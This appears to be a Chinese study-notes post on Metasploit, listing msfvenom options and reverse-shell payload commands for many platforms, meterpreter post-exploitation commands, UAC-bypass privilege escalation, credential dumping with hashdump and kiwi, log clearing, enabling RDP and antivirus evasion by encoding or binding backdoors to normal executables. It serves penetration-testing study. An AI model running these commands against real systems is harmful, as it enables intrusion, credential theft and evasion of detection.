msf学习

msf学习

以kali自带的msf为例

一、msf核心模块与功能

msf模块都放在/usr/share/metasploit-framework/modules目录下

1、auxiliary

辅助模块,辅助渗透(端口扫描、登录密码爆破、漏洞验证等)

2、encoders

编码器模块,主要包含各种编码工具,对payload进行编码加密,以便绕过入侵检测和过滤系统

3、evasion

规避模块,用来生成免杀payload

4、exploits

漏洞利用模块,包含主流的漏洞利用脚本,通常是对某些可能存在漏洞的目标进行漏洞利用

5、nops

这里主要放着调整shellcode前置nop指令长度的工具

6、payloads

攻击载荷,主要是攻击成功后在目标机器执行的代码,比如反弹shell的代码

7、post

后渗透模块,漏洞利用成功获得meterperter之后,向目标发送的一些功能性指令,如:提权等

二、msfvenom

kali中的msfvenom取代了msf中payloads和encoders模块

1、msfvenom 常用参数

-l
列出指定模块的所有可用资源,模块类型包括: payloads, encoders, nops, all

-p
指定需要使用的payload(攻击荷载)。

-f
指定输出格式

Executable formats:Asp、aspx、aspx-exe、axis2、dll、elf、elf-so、exe、exe-only、exe-service、exe-smallhta-psh、jar、jsp、loop-vbs、macho、msi、msi-nouac、osx-app、psh、psh-cmd、psh-net、psh-reflection、python-reflection、vba、vba-exe、vba-psh、vbs、war;

Transform formats:base32、base64、bash、c、csharp、dw、dword、hex、java、js_be、js_le、num、perl、pl、powershell、ps1、py、python、raw、rb、ruby、sh、vbapplication、vbscript;

-e
指定需要使用的encoder(编码器)编码免杀。

-a
指定payload的目标架构

选择架构平台:x86 | x64 | x86_64
Platforms:windows, netware, android, java, ruby, linux, cisco, solaris, osx, bsd, openbsd, bsdi, netbsd, freebsd, aix, hpux, irix, unix, php, javascript, python, nodejs, firefox, mainframe

-o
保存payload文件输出。

-b
设定规避字符集,比如: '\x00\xff'避免使用的字符

-n
为payload预先指定一个NOP滑动长度

-s
设定有效攻击荷载的最大长度生成payload的最大长度,就是文件大小。

-i
指定payload的编码次数

-c
指定一个附加的win32 shellcode文件

-x
指定一个自定义的可执行文件作为模板
例如:原先有个正常文件normal.exe 可以通过这个选项把后门捆绑到这个程序上面。

-k
保护模板程序的动作,注入的payload作为一个新的进程运行
例如:原先有个正常文件normal.exe 可以通过这个选项把后门捆绑到这个程序上面。

-v
指定一个自定义的变量,以确定输出格式

2、各平台生成payload命令

(1)Windows

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp

LHOST=192.168.3.33 LPORT=4444 -e x86/shikata_ga_nai -b '\x00\x0a\xff' -i 10 -f exe -o payload.exe

(2)Mac

msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=192.168.3.33 LPORT=4444 -f macho -o payload.macho

(3)Android

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4567 -o payload.apk

(4)Powershell

msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST=192.168.1.1 LPORT=8888 -e cmd/powershell_base64 -i 3 -f raw -o payload.ps1

(5)Linux

msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f elf -o payload.elf

(6)php

msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.1.1 LPORT=8888 -f raw > shell.php

(7)aspx

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=8888 -f aspx -o payload.aspx

(8)JSP

msfvenom --platform java -p java/jsp_shell_reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f raw -o payload.jsp

(9)war

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f raw - o payload.war

(10)nodejs

msfvenom -p nodejs/shell_reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f raw -o payload.js

(11)python

msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f raw -o payload.py

(12)perl

msfvenom -p cmd/unix/reverse_perl LHOST=192.168.1.1 LPORT=4567 -f raw -o payload.pl

(13)ruby

msfvenom -p ruby/shell_reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f raw -o payload.rb

(14)lua

msfvenom -p cmd/unix/reverse_lua LHOST=192.168.1.1 LPORT=4567 -f raw -o payload.lua

(15)windows shellcode

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f c

(16)linux shellcode

msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f c

(17)mac shellcode

msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f c

三、msf利用流程

1、前期交互

与客户组织交互讨论,确定范围,目标等。

2、情报收集

网站域名注册人、子域名、端口、真实ip、cms等。

3、威胁建模

理清头绪,确定出可行的漏洞方案。

4、漏洞分析

挑选匹配可能存在的漏洞利用模块。

5、渗透利用

找出安全漏洞,尝试利用漏洞入侵系统。

6、后渗透阶段

开始实施相关数据下载,后门维持,提权等操作。

7、报告编写

漏洞利用渗透测试报告。

四、msf后渗透模块

1、基本系统命令

background # 让meterpreter处于后台模式
sessions -i index # 与会话进行交互,index表示第一个session

getuid # 查看权限 
getpid # 获取当前进程的pid
sysinfo # 查看目标机系统信息

ps # 查看当前活跃进程
kill pid # 杀死进程
migrate pid # 将Meterpreter会话移植到进程数位pid的进程中
execute -H -i -f cmd.exe # 创建新进程cmd.exe,-H不可见,-i交互

quit # 退出会话
shell # 获得控制台权限
clearev # 日志清理(需要system权限)
reboot/shutdown   #重启/关机

2、文件操作命令

cat # 查看文件内容
getwd # 查看当前工作目录
upload # 上传文件到目标机上
download # 下载文件到本机上
edit # 编辑文件
search # 搜索文件

3、网络命令

ipconfig / ifconfig # 查看网络接口信息
Portfwd # 端口转发 本机监听端口 把目标机端口转到本机端口上
Rdesktop # 使用rdesktop来连接 -u 用户名 -p 密码
Route # 获取路由表信息

五、后渗透提权

查看当前用户权限:getuid

方法一:

meterpreter中输入getsystem提权

方法二:

使用msf模块提权

1、查看可用模块,msf终端输入search bypassuac

2、选择一个合适当前系统的提权模块

以win10为例:

使用use exploit/windows/local/bypassuac_windows_store_reg 尝试提权

这个不行就换一个模块

六、后渗透获取登录密码

1、抓取自动登录账户密码

run windows/gather/credentials/windows_autologin

2、导出SAM数据库本地账户密码文件

run post/windows/gather/smart_hashdump

3、导出密码哈希

run hashdump

4、使用kiwi模块获取

load kiwi

creds_all:列举所有凭据

七、后渗透远程监控

1、使用rdesktop远程控制(直接在终端执行)

rdesktop常用参数

参数 描述
-u 用户名
-p 密码
-a 16 指使用16位色显示远程桌面
-f 全屏模式(用Ctrl+Alt+Enter组合键退出)
-g 设置分辨率,如:-g 1024x768
-h 帮助

例子:

rdesktop -u 用户名 -p 密码 -f IP地址

如果远程计算机没有启动远程功能,可以在meterpreter中输入

run post/windows/manage/enable_rdp命令开启远程功能

2、通过vnc远程(在meterpreter中执行)

run vnc

八、msf编码免杀

1、杀软是如何检测出恶意代码的?

特征码、启发式恶意软件检查和行为。

2、免杀是做什么?

对特征进行混淆,打乱代码,避免杀毒软件查杀

3、免杀的基本方法有哪些?

自编码处理、自捆绑+编码、多重编码、接口下载式、签名伪装式

热门相关:帝少的专属:小甜心,太缠人   豪门闪婚:帝少的神秘冷妻   第一神算:纨绔大小姐   薄先生,情不由己   大神你人设崩了